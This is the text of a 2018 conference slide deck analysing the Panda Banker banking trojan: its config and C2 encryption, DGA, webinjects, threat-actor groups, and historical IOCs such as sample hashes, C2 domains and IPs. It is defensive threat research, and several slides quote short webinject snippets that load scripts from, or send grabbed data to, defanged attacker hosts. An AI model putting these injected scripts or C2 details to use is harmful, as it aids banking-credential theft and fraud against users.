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EVERYTHING 
PANDA 
BANKER
Dennis Schwarz (@tildedennis)

Botconf, December 2018
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Source: Renee di Cherri (@reneedicherri)
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Naming (Malware)
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Naming (Panel)

Source: https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market 
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Naming (Panel)

Source: https://twitter.com/CryptoInsane/status/957185222608609281
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Zeus Panda

Source: https://github.com/Visgean/Zeus
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Same Same But Different
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First Contact 

SHA256: db790cbe0beb2a9c2749cb914fbdec8bdc7aa2ef3c9ca6c721e0c0fede715fb2
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First Contact 

Source: https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market 
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All The Samples!



11 © 2016 Proofpoint, Inc.

▪ 2.1.x

▪ January 2016

▪ 4 minor releases

▪ 2.2.x

▪ April 2016

▪ 14 minor releases

▪ 2.3.x

▪ March 2017

▪ 4 minor releases

▪ 2.4.x

▪ June 2017

▪ 4 minor releases

▪ 2.5.x

▪ August 2017

▪ 8 minor releases

▪ 2.6.x

▪ December 2017

▪ 11 minor releases

Release Dates
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▪ 2.6.2 (January)

▪ 2.6.3 (February)

▪ 2.6.4 (February)

▪ 2.6.5 (March)

▪ 2.6.6 (March)

▪ 2.6.7 (April)

▪ 2.6.8 (April)

▪ 2.6.9 (May)

▪ 2.6.10 (June)

2018
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Version Activity
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Take Warning
IDA Pro Screenshots Ahead
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Version (2.1.0 - 2.5.7)

▪ “%u.%u.%u” wide



16 © 2016 Proofpoint, Inc.

Version (2.6.0 - present)

▪ “%u.%u” ascii
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Version (most Zeus variants)
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Windows API Function Calls (2.1.0 - 2.5.7)
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Windows API Function Calls (2.1.0 - 2.5.7)

>>> import binascii

>>> print "0x%x" % (binascii.crc32("wvnsprintfW") 

& 0xffffffff)

0x81beee11

>>>
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Windows API Function Calls (2.1.0 - 2.5.7)
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Encrypted Strings (2.1.0 – 2.2.9)
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Encrypted Strings (2.2.10 – 2.5.7)
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Encrypted Strings (2.6.0 – present)
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Encrypted Strings (2.6.10)
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BaseConfig (generic Zeus)
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BaseConfig (ZeusVM variants)
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BaseConfig (Panda Banker)
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Decrypting the BaseConfig (2.1.0 – 2.2.9)

▪ Offset 0x0: SHA256 digest (32 bytes)

▪ Offset 0x20: AES256 key (32 bytes)

▪ Offset 0x40: AES256 IV (16 bytes)

▪ Offset 0x50: AES256 CBC encrypted data
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Decrypting the BaseConfig (2.3.1 – present)

▪ Offset 0x0: SHA256 digest (32 bytes)

▪ Offset 0x20: key offset (1 byte)

▪ Varies

▪ 0x20 + key offset 

▪ Offset 0xd6: AES256 key (32 bytes)

▪ Offset 0x140: AES256 IV (16 bytes)

▪ Offset 0x150: AES256 CBC encrypted data
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Decrypting the BaseConfig (2.3.1 – present)



31 © 2016 Proofpoint, Inc.

BaseConfig Botnet
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Static Botnets
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Static Botnets
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BaseConfig Key
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BaseConfig Keys
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BaseConfig C2s (2.1.0 – 2.5.7)

for i in range(len(base_config)):

try_me = base_config[i:i+101]

possible_c2 = rc4(base_config_key, try_me)

if “http” in possible_c2:

print possible_c2
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BaseConfig C2s (2.6.x - present)

S = rc4_ksa(base_config_key)

i = S[256]

j = S[257]

# 30, 55, 22

for _ in range(30):

# “I”, “B”

in_buf = struct.pack(“I”, 0x0)

for in_byte in in_buf:

(i, j, S, unused) = rc4_prga(i, j, S)

…
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▪ http://denatgruel.com/release.dat (January 2016)

▪ http://us-rboticks.ws/config.dat (March 2016)

▪ https://abrakadabra2017.com/3maufleawvoxawologuev.dat (May 2017)

▪ https://0532ae71ab47.com/4gaxywuubduamfaarmylu.dat (January 2018)

▪ https://ioxicjkdkc.abkhazia.su/1ishuwuycywgeacqylyik.dat (June 2018)

▪ https://veintitna.ru/4enmuotriloqeryezpiar.dat (October 2018)

BaseConfig C2s
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BaseConfig DGA Endings

▪ 47.com/conf.dat

▪ 98.com/conf.dat

▪ 10.net/conf.dat

▪ 98.net/conf.dat
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DGA
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▪ Source: https://asert.arbornetworks.com/panda-bankers-future-dga/

DGA (2.2.1 – 2.2.9)
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DGA (2.2.10 – present)

Source: https://github.com/tildedennis/malware/blob/master/panda_banker/dga.py
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1. 2018-3-12: d6b80c234347.com (146.185.243.116)

2. 2018-4-18: 9eb318bf4a47.com (94.242.59.179)

3. 2018-4-30: f075f7e31147.com (212.116.113.86)

4. 2018-5-3: 9984c05a2447.com (185.244.150.46)

5. 2018-5-15: d5465ea21847.com (46.148.26.106)

6. 2018-5-18: 7f8e3a437647.com (46.148.26.106)

7. 2018-6-1: 934f0d799f47.com (193.124.189.181)

8. 2018-6-3: 6358968c2647.com (212.22.77.112)

9. 2018-6-24: 52507833f147.com (168.235.96.67)

10. 2018-7-9: acbc2c8bf347.com (46.148.26.106)

11. 2018-7-15: 05319d803447.com (193.124.189.181)

12. 2018-7-30: ae0acb2d2247.com (212.22.77.112)

13. 2018-8-6: 7f05c3baa647.com (212.22.77.112)

14. 2018-8-15: 8c28b40a0b47.com (46.148.26.106)

15. 2018-8-21: 41b53042c147.com (46.148.26.106)

16. 2018-8-27: 02657b649147.com (46.148.26.106)

17. 2018-9-9: 77734a166347.com (46.148.26.106)

18. 2018-10-18: 3bd083c69647.com (46.148.26.106)

DGA Activity (1 config / ~Oct 2018)

Sample: 5ac06f2cf2d27cc079778738c39eec3c64853880c43b60395899357fe8e2a31c
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Command and Control (Requests)
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▪ Initial part of the URI is generated

▪ “/<2-10 random alphanumeric characters>/”

▪ Following system information is gathered into 
a buffer “sysinfo”

▪ Computer name

▪ InstallDate (from Registry)

▪ CRC32 of DigitalProductId (from Registry)

▪ CRC32 of OSVERSIONINFOEX structure (from 
GetVersionEx Windows API)

▪ “sysinfo” is SHA256 hashed, but only the first 
16-bytes of the hash are used

▪ The 16-byte hash is XORed with the initial 
part of the URI from step 1

▪ The result is uppercase hex encoded

▪ “/”s are randomly added

Request URI (2.1.0 – 2.1.3)
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▪ Initial part of the URI is generated

▪ “/<2-10 random alphanumeric characters>/”

▪ Following system information is gathered into 
a buffer “sysinfo”

▪ Computer name

▪ InstallDate (from Registry)

▪ CRC32 of DigitalProductId (from Registry)

▪ CRC32 of OSVERSIONINFOEX structure (from 
GetVersionEx Windows API)

▪ “sysinfo” is SHA256 hashed, but only the first 
16-bytes of the hash are used

▪ The 16-byte hash is XORed with the initial 
part of the URI from step 1

▪ The result is uppercase hex encoded

▪ The result is base64 encoded

▪ +, /, = are translated into -, _, “”

▪ “/”s are randomly added

Request URI (2.2.1 – present)
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▪ Offset 0x0: placeholder (32 bytes)

▪ Offset 0x20: RSA encrypted AES key (256 bytes)

▪ Offset 0x120: AES256 IV (16 bytes)

▪ Offset 0x130: AES256 CBC encrypted data

▪ sha256.update(uri + enc_post_data[32:])

▪ Offset 0x0: placeholder (32 bytes)

▪ Offset 0x0: SHA256 hash (32 bytes)

POST Data Decryption
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POST Data Decryption (2.1.0 – 2.1.3)
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POST Data Decryption (2.2.1 – present)
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Request Data
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Command and Control (Response)
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▪ Offset 0x0: SHA256 digest (32 bytes)

▪ Offset 0x20: AES256 IV (16 bytes)

▪ Offset 0x30: AES256 CBC encrypted data

▪ The key will be the randomly generated AES key sent along in the request

Response Data Decryption Layer 1 (2.1.0 - 2.1.3)
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▪ Offset 0x0: SHA256 digest (32 bytes)

▪ Offset 0x20: AES256 IV (16 bytes)

▪ Offset 0x30: AES256 CBC encrypted data

▪ The key will be the randomly generated AES key sent along in the request

▪ Base64

Response Data Decryption Layer 1 (2.2.1 - present)
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Decrypt Me Like One of your BaseConfigs (Layer 2)
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Decrypt Me Like One of your BaseConfigs (Layer 3)
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Dynamic Config
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Dynamic Botnets (“botnet“)
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“keylog_process” and “screen_process”
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Man-in-the-Browser Module (“url_plugin_webinjectXX”)

”Man-in-the-browser (MITB, MitB, MIB, MiB), a form of Internet threat 

related to man-in-the-middle (MITM), is a proxy Trojan horse[1] that 

infects a web browser by taking advantage of vulnerabilities in browser 

security to modify web pages, modify transaction content or insert 

additional transactions, all in a completely covert fashion invisible to 

both the user and host web application.”

Source: https://en.wikipedia.org/wiki/Man-in-the-browser
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▪ “webfilters”

▪ “webinjects”

▪ “webinject1data”

▪ “webinject2data”

▪ …

▪ “webinjectXdata”

Webinjects (“url_webinjects”)
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▪ ^https://www.<antivirus>* -> block access

▪ !https://<uninteresting calendar>.com/* -> don't log

▪ #https://<funny money>.com/* -> take video

Webinjects (“webfilters”)
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▪ Flags (WORD)

▪ Size (WORD)

▪ Target offset (WORD)

▪ Target (regex string)

Webinjects (“webinjects”)
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▪ Data size (WORD)

▪ Flags (WORD)

▪ Data

▪ Where or how

Webinjects (“webinjectXdata”)
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Webinjects for Humans
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▪ Header

▪ Random data (20-bytes)

▪ Size (DWORD)

▪ Flags (DWORD)

▪ Section count (DWORD)

▪ MD5 (16-bytes)

▪ Sections

▪ ID (DWORD)

▪ Flags (DWORD)

▪ Size (DWORD)

▪ Real size (DWORD)

▪ Data

- Can be compressed

Zeus BinStorage
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Webinjects (Targeted Countries)
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Webinjects (Types)
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Webinjects (Defaults / Tests)
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▪ Snippet

▪ _brows.inject(\"hxxps://taberfix[.top/panel/t.js\");

Webinjects Kits (tables)
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▪ Snippet

▪ <script>var home_link = 
"hxxps://kioxixu.Abkhazia[.su/jpccgrab";var 
gate_link = home_link+"/gate.php";var pkey = 
"Bc5rw12";

Webinjects Kits (.::grab)
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▪ Snippet

▪ src="hxxps://plsfgpal[.]com/mpgl/content/comm
bank/mx/commbank.js?r='+((new 
Date()).getHours()+(new 
Date()).getDay()*24)+'"

Webinjects Kits (r=)
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Take Warning
Historical IOCs Ahead
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Take Warning
Historical IOCs Ahead
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▪ Delivery

▪ Malspam

▪ Exploit kit

▪ Exploit

▪ Installation

▪ Key hash

▪ Botnet name

▪ Dynamic config file hash

▪ Webinjects file hash

▪ Command and Control (Malware and 
Webinjects)

▪ Domain

▪ URI paths

▪ IPs

▪ TLS common name

▪ TLS fingerprint

▪ Whois email

▪ DNS SOA email

▪ Actions on Objective

▪ Cryptocurrency IDs

▪ Countries targeted

▪ Instant messaging IDs

Grouping
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Groups (IOC Overlap)
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Groups (BaseConfig Key Hashes)
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▪ Samples: ~80
▪ Oldest: db790cbe0beb2a9c2749cb914fbdec8bdc7aa2ef3c9ca6c721e0c0fede715fb2
- C2: denatgruel.com

▪ Newest: 0c3dc58144b854493098c226abb4355dfb52d780c6422266c1c14ebbebc41836
- C2s: l6a9v8s6.top, l9l6m1w6.top, x8a9i1s7.top

▪ Activity: January 2016 – April 2018

▪ Versions: 2.1.0 – 2.6.6 (missing 14 versions)

▪ Botnets: newtest, vnc

▪ Dynamic Config Filenames: newtest.dat. release1.dat, config.dat, configvnc.dat

▪ First debug build (April 2016)
▪ 31f8346b01d9e3c307280bf900de4e91a57d579d5327f75fd697431bcdd20dd4
- C2s: hydroyeo.com, cabbyelias.com, untosalol.com, shaveaweto.com, riottorus.com, meatodel.com 

Group (“First Contact”)
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▪ Distribution

▪ Malspam (April 2018)

- Word doc with macros hosted on Dropbox

• Spoofing a shipping company

- Smoke Loader

• C2s: uhyzw6aqrc2zzu.win, 8mqytvupwfdh.bid, 
hdbhxq9swamy7.bid

- Panda Banker

• C2s: l6a9v8s6.top, l9l6m1w6.top, x8a9i1s7.top

▪ Rubella Macro Builder” (April 2018)

- Source: https://www.flashpoint-
intel.com/blog/rubella-macro-builder/

Group (“First Contact”)
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▪ Targeting
▪ Canada (March 2017)
- 1cb29891cd23b232c611ec24cf0f7a4c73fe419ff2be637beeb07360d3d402c5

- C2: plk4kd.xyz

- Webinjects

• ~39

• “tables” kit

• C2: slphstvz.biz 

▪ Canada (December 2017)
- f99839235cd4d2c731bd66a75a3d49a57a45c5aa2e7637802284f16579fddd6a

- C2: frumdingo.top

- Webinject
• ~39

• “tables” and “_txt.insert” kits

• C2: plakdm.xyz

Group (“First Contact”)
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▪ Samples: ~700

▪ Oldest: 335c0e4430a08956f796611b3ebf273117e784ee1d728d7b8fcb9997c98735cc

- C2s: 569311CDA810.faith, E3113EAF8798.bid

▪ Newest: 58af96fb4c4f551fc9b8eb4890eab0144221ca976286f928d5bed696945f705e

- C2s: F2D5CAB27447.tk, F2D5CAB27498.ml, F2D5CAB27410.ga, F2D5CAB27498.cf, 0406453a7047.tk

▪ Activity: August 2017 – September 2018

▪ Versions: 2.5.0 – 2.6.10 (missing 2 versions)

▪ Botnets: armata, onore, markit, mark, markusnew, billit, bill, mrtwister

Group (“Italian Job”)
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▪ Distribution

▪ TA544

▪ Malspam (August 2018)

- Attached Word or Excel doc with macros 

• Subjects containing “Fattura” (translated: Invoice)

- Panda Banker

• 01464f1b285cd09b899c87c195d6b7d04b4a99c87ea16
b43d11ea18cd2252eca

• C2s: C5815F7F4427.bid, C5815F7F4418.win

▪ Nymaim, Ursnif, Chthonic, Zloader, and 
URLZone

Group (“Italian Job”)
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▪ Targeting
▪ Italy (August 2017)
- 335c0e4430a08956f796611b3ebf273117e784ee1d728d7b8fcb9997c98735cc

- C2s: 569311CDA810.faith, E3113EAF8798.bid

- Webinjects

• ~20

• “id=“ and “adm=“ kits

• C2s: westrostres.bid, sslstats.info

▪ Italy and some Bitcoin (March 2018)
- 8471a89cee977822f9826cabd122d63b7b8a2bd0a5239e22c634ac9eb951f47d

- C2: 0a109ec2ab47.com, fa208cd45c47.com, 3f5d37ec8547.com, f582e064be47.com

- Webinjects
• ~106

• “adm=“, “e.php?v=“, and “data-s %SOCKS%” kits

• C2s: sslstats.info, gemendoloma.top, seccunet.com

Group (“Italian Job”)
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Group (“Italian Job”)

Source: https://reaqta.com/2018/09/global-malware-campaign-using-zeus-panda/
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▪ Samples: ~160

▪ Oldest: 8db8f6266f6ad9546b2b5386a835baa0cbf5ea5f699f2eb6285ddf401b76ccb7

- C2s: hillaryzell.xyz, buscamapa1.top

▪ Newest: 85d8829d7795af046e238d9981592f96ad49dcb2ccb9e5c6bb938bc04b1e8552

- C2s: uiaoduiiej.chimkent.su, miliocife.aktyubinsk.su 

▪ Activity: March 2018 – October 2018

▪ Versions: 2.6.1 – 2.6.10 (missing 3 versions)

▪ Botnets: ank

▪ Switched to Osiris (Kronos): End of July 2018

▪ https://www.proofpoint.com/us/threat-insight/post/kronos-reborn

Group (“Japan Gang”)
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▪ Distribution

Group (“Japan Gang”)

Source: @kafeine and https://www.proofpoint.com/us/threat-insight/post/kronos-reborn
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▪ Targeting

▪ https://asert.arbornetworks.com/panda-banker-zeros-in-on-japanese-targets/ (March 2018)

▪ Japan (August 2018)

- c6911d26991f413ea33919910af300f2083dbc55c559bd2f31c9028da40b6a06

- C2s: uiaoduiiej.chimkent.su, miliocife.aktyubinsk.su 

- Webinjects

• ~27

• “.::grab” and “.::CC+VBV Grabber” kits

• C2: kioxixu.abkhazia.su

Group (“Japan Gang”)
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▪ Samples: ~140

▪ Oldest: fea136e75f7beb7994f2e47cd79e4e58f8dec5148e815564df5a159161ebc83c

- C2s: lavelisa.xyz, palamicha.xyz, gusmaz.xyz, kapasur.xyz, romtara.xyz, veneshem.xyz

▪ Newest: 45c7c91ebb315a77dd28e0092913184cb6a4a8d0387d29384b273ebf9bce9a74

- C2s: theeunload.website, nodoimain.local 

▪ Activity: September 2017 – October 2018

▪ Versions: 2.5.2 – 2.6.10 (missing 5 versions)

▪ Botnets: 2.5.7_sas, 05-07-2018

▪ TA542

Group (“Emotet Gang”)
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▪ Targeting
▪ US and Canada (September 2017)
- d898d1ed36e0efa86533814594d36ea953c96dcd94ab32d8dec57ac731f2c1ea

- C2s: kapasur.xyz, lavelisa.xyz, palamicha.xyz, gusmaz.xyz 

- Webinjects

• ~32

• “myjs1” kit

• C2: farleza.co

▪ US and Canada (August 2018)
- 45c7c91ebb315a77dd28e0092913184cb6a4a8d0387d29384b273ebf9bce9a74

- C2s: theeunload.website, nodoimain.local

- Webinjects
• ~186

• “r=“, “.::grab”, and “tables” kits

• C2: wellfastm.trade, milloa.com, k1s0lokio.com 

Group (“Emotet Gang”)
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▪ Samples: ~120

▪ Oldest: 8646acb4bc76aa2221b3fd885305937710f90866f61139d08bee44d3b22902b8

- C2s:  tontrumuchtors.com, henfobuthis.com, rowrorofrat.com, linghogolac.ru, mysitothar.ru, oftmitinrob.ru

▪ Newest: 0faba459f37dd11ad44631f644062421a9efed20b511279c9adfd0dc4729c0f5

- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, veintitna.ru, lachistontfi.ru

▪ Activity: October 2017 – present

▪ Versions: 2.5.7 – 2.6.10 (missing 3 versions)

▪ Botnets: 2.5.7_2, 2.6.4_2, 2.6.9_d, 2.6.10_e

▪ TA511

Group (“Hancitor Gang”)
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▪ Distribution

▪ Malspam (October 2018)

- URL links to a Word document with macros

• IRS theme

▪ Hancitor (Tordal) loader 

- C2s: howonehimun.com, onbihoge.ru, rabmiarco.ru

▪ Panda Banker

- 0faba459f37dd11ad44631f644062421a9efed20b51
1279c9adfd0dc4729c0f5

- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, 
veintitna.ru, lachistontfi.ru

- No webinjects

Group (“Hancitor Gang”)
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▪ Distribution

▪ Malspam (October 2018)

- URL links to a Word document with macros

• IRS theme

▪ Hancitor (Tordal) loader 

- C2s: howonehimun.com, onbihoge.ru, rabmiarco.ru

▪ Panda Banker

- 0faba459f37dd11ad44631f644062421a9efed20b51
1279c9adfd0dc4729c0f5

- C2s: sincirewdo.ru, therepmeat.ru, nobotanri.ru, 
veintitna.ru, lachistontfi.ru

- No webinjects

Group (“Hancitor Gang”)
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Group (“NOP Gang”)

Source: 

https://twitter.com/reOnFleek/status/1064655055331

168256

Source: 

https://twitter.com/JR0driguezB/status/10495964

22964867072 
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▪ Samples: ~40

▪ Oldest: 4e36727282672b7ece395cf26ba581e5b264bff0f5898d557c9646d2ba37a0ec

- C2s: play2wright.top, pub3lished.top, re4present.top, second5ary.top, tec6nique.top, tole7rable.top

▪ Newest: ae9ac49cf980c51b10e8f8ef7481542ff1d5a7468177091fd334a80b46338a63

- C2s: chewkinyan.com, 554343rods13.top, 80m55453tr356.top

▪ Activity: March 2017 – present

▪ Versions: 2.2.14 – 2.6.9 (missing 17 versions)

▪ Botnets: NOP

Group (“NOP Gang”)
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▪ Targeting
▪ Canada (March 2017)
- 4e36727282672b7ece395cf26ba581e5b264bff0f5898d557c9646d2ba37a0ec

- C2s: play2wright.top, pub3lished.top, re4present.top, second5ary.top, tec6nique.top, tole7rable.top

- Webinjects

• ~40

• “.tables” and “r=” kits

• C2: plsfgpal.com, popelenga.info

▪ Australia and Canada (October 2018)
- 13c01865f1f6be7f3abd7f887088783b58cb7264e3c81c774e0d3e38b3883ec1

- C2s: 80m533tr356.top, charter-paradise.com, 54or3rods13.top

- Webinjects
• ~50

• “.tables” and “r=” kits

• C2s: plsfgpal.com, taberfix.top

Group (“NOP Gang”)



95 © 2016 Proofpoint, Inc.

Endangered Species ?
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Endangered Species ?
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▪ #pandabanker on Twitter/VirusTotal

▪ #ZeusPandaBanker on Twitter

▪ @James_inthe_box

▪ https://www.malware-traffic-analysis.net/

▪ https://traffic.moe/

▪ https://zerophagemalware.com/

▪ https://urlhaus.abuse.ch/browse/signature/PandaZeuS/

▪ “PandaZeuS” tag at https://sslbl.abuse.ch/

▪ http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4426&p=29520&hilit=panda#p28940

▪ https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker

▪ https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker

Zoo
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▪ https://www.arbornetworks.com/blog/asert/let-pandas-zeus-zeus-zeus-zeus/

▪ https://asert.arbornetworks.com/panda-bankers-future-dga/

▪ https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market

▪ https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers

▪ https://www.proofpoint.com/us/threat-insight/post/panda-banker-starts-looking-more-like-a-grizzly

▪ https://www.spamhaus.org/news/article/771/

▪ https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html

▪ https://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html

▪ https://www.gdatasoftware.com/blog/2017/08/29928-analysis-zeus-panda

▪ https://threatvector.cylance.com/en_us/home/threat-spotlight-panda-banker-trojan-targets-the-us-canada-and-
japan.html
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